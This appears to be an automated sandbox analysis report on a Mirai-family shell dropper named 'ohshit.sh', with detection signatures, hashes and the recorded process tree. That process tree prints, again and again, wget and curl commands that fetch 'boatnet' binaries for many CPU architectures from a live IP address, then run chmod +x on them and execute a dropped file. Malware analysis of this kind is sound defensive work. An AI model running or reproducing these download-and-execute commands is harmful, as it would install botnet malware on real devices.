Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30-12-2024 16:46

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    7e24e03c8d6c1bafbc85a32aa065853f

  • SHA1

    1399f7b9e79afa7fb910eb61f8e7d10b36c64310

  • SHA256

    938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c

  • SHA512

    0975c2aaae90e309467a37d38bdb48790c56c7efdfe9ad82a69c93d8cd2d25f4eee4e741222b1d455e04913e69380d52f81efe6c1b025e9ef1fd872a0fcac521

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Unexpected DNS network traffic destination 6 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:645
    • /usr/bin/wget
      wget http://154.216.17.216/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:647
    • /usr/bin/curl
      curl -O http://154.216.17.216/hiddenbin/boatnet.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:662
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:672
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-r4N69W WTF
        2⤵
        • File and Directory Permissions Modification
        PID:673
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:675
      • /usr/bin/wget
        wget http://154.216.17.216/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:678
      • /usr/bin/curl
        curl -O http://154.216.17.216/hiddenbin/boatnet.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:681
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:759
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-r4N69W WTF
        2⤵
        • File and Directory Permissions Modification
        PID:760
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:761
      • /usr/bin/wget
        wget http://154.216.17.216/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:763
      • /usr/bin/curl
        curl -O http://154.216.17.216/hiddenbin/boatnet.arc
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:764
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:765
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-r4N69W WTF
          2⤵
          • File and Directory Permissions Modification
          PID:766
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:767
        • /usr/bin/wget
          wget http://154.216.17.216/hiddenbin/boatnet.i468
          2⤵
            PID:769
          • /usr/bin/curl
            curl -O http://154.216.17.216/hiddenbin/boatnet.i468
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:770
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:771
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-a0f1de3367d948f7bc54529065aa8600-systemd-timedated.service-r4N69W WTF
              2⤵
              • File and Directory Permissions Modification
              PID:772
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:773
            • /usr/bin/wget
              wget http://154.216.17.216/hiddenbin/boatnet.i686
              2⤵
                PID:774
              • /usr/bin/curl
                curl -O http://154.216.17.216/hiddenbin/boatnet.i686
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:780
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:781
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:782
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:783
                • /usr/bin/wget
                  wget http://154.216.17.216/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:784
                  • /usr/bin/curl
                    curl -O http://154.216.17.216/hiddenbin/boatnet.x86_64
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:786
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:788
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:789
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:790
                    • /usr/bin/wget
                      wget http://154.216.17.216/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:791
                    • /usr/bin/curl
                      curl -O http://154.216.17.216/hiddenbin/boatnet.mpsl
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:792
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:793
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:794
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:795
                      • /usr/bin/wget
                        wget http://154.216.17.216/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:797
                      • /usr/bin/curl
                        curl -O http://154.216.17.216/hiddenbin/boatnet.arm
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:798
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:799
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:800
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Writes file to system bin folder
                          • Reads runtime system information
                          PID:801
                        • /usr/bin/wget
                          wget http://154.216.17.216/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:805
                        • /usr/bin/curl
                          curl -O http://154.216.17.216/hiddenbin/boatnet.arm5
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:806
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:807
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:808
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:809
                          • /usr/bin/wget
                            wget http://154.216.17.216/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:810
                          • /usr/bin/curl
                            curl -O http://154.216.17.216/hiddenbin/boatnet.arm6
                            2⤵
                            • Checks CPU configuration
                            • Writes file to tmp directory
                            PID:811
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:812
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:813
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:814
                            • /usr/bin/wget
                              wget http://154.216.17.216/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:815
                            • /usr/bin/curl
                              curl -O http://154.216.17.216/hiddenbin/boatnet.arm7
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:816
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:817
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:818
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                • Modifies Watchdog functionality
                                • Writes file to system bin folder
                                • Reads runtime system information
                                PID:819
                              • /usr/bin/wget
                                wget http://154.216.17.216/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:823
                              • /usr/bin/curl
                                curl -O http://154.216.17.216/hiddenbin/boatnet.ppc
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:824
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:825
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:826
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:827
                                • /usr/bin/wget
                                  wget http://154.216.17.216/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:829
                                • /usr/bin/curl
                                  curl -O http://154.216.17.216/hiddenbin/boatnet.spc
                                  2⤵
                                  • Checks CPU configuration
                                  • Writes file to tmp directory
                                  PID:830
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:831
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:832
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:833
                                  • /usr/bin/wget
                                    wget http://154.216.17.216/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:835
                                  • /usr/bin/curl
                                    curl -O http://154.216.17.216/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:837
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:839
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:840
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:841
                                    • /usr/bin/wget
                                      wget http://154.216.17.216/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:843
                                    • /usr/bin/curl
                                      curl -O http://154.216.17.216/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Checks CPU configuration
                                      • Writes file to tmp directory
                                      PID:844
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:845
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:846
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:847

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      31KB

                                      MD5

                                      2af268efed968357e391ab576fc973c4

                                      SHA1

                                      90d2eb946f39110a1a1768de197d5b2592c32906

                                      SHA256

                                      6f4b2ca72110e08f4a14ccfe634cfe7296914e8e8c65e4de037d3c85f40101ae

                                      SHA512

                                      753e6159a6085f846ad7bc6cddf5d0eae592351ada2b344fdbd8c0ce2b6981746b579085f373634adcbd29668cf9ce1979fa7a5f58f05f5bbee6f5405e52c4f1

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      020cb00eb1f2f8f09e6cf30dd27bb1c6

                                      SHA1

                                      9a744d247de056b9fdad94358b106082724b25c7

                                      SHA256

                                      8c4ddaa55221339a69d91cca9c22f1018306bd2bdd721c6b0564d7308d41ca7d

                                      SHA512

                                      82c32f182f8547660168ef76f82e00b4029da2604b67a6b463578cdbd925faf906ef1973bd1607d3216d8f39d2c2bf625acb738c7017852223602e1455872810

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      71KB

                                      MD5

                                      737731332e0656b2f2714ce6634df996

                                      SHA1

                                      4d42df96482bff8f3246a47b07fd4c22e1d4c1e5

                                      SHA256

                                      22941552b719d5677c0ecc7d2f0322ba915396b1f081045a99d898a1bbf2b02b

                                      SHA512

                                      dd68463db50b06b913da04526b8e50f66c0d5d11a020a249c888edd8cd877fa24de2f3c879b9b6c0584aed47d17e3a9106bb5e473166b2c53b85017d6631d71a

                                    • /tmp/boatnet.x86

                                      Filesize

                                      28KB

                                      MD5

                                      d2610e796559edd586be4f3cfea659da

                                      SHA1

                                      67ac4e25ed9856b839f2b11c32e758766a140e23

                                      SHA256

                                      75754fcc1c6ecbdee1bc04eb2e4a986d6fb12a63e8a6b663a012ff41b031aef6

                                      SHA512

                                      910228016a57f6c76fcf29e7bd0a4d79a6772cda30489b99d9a10b92a00f56fc6829b35460ee09bc99c9fa7dc9607763dd01f39c0730c9975988c595c58bdf7a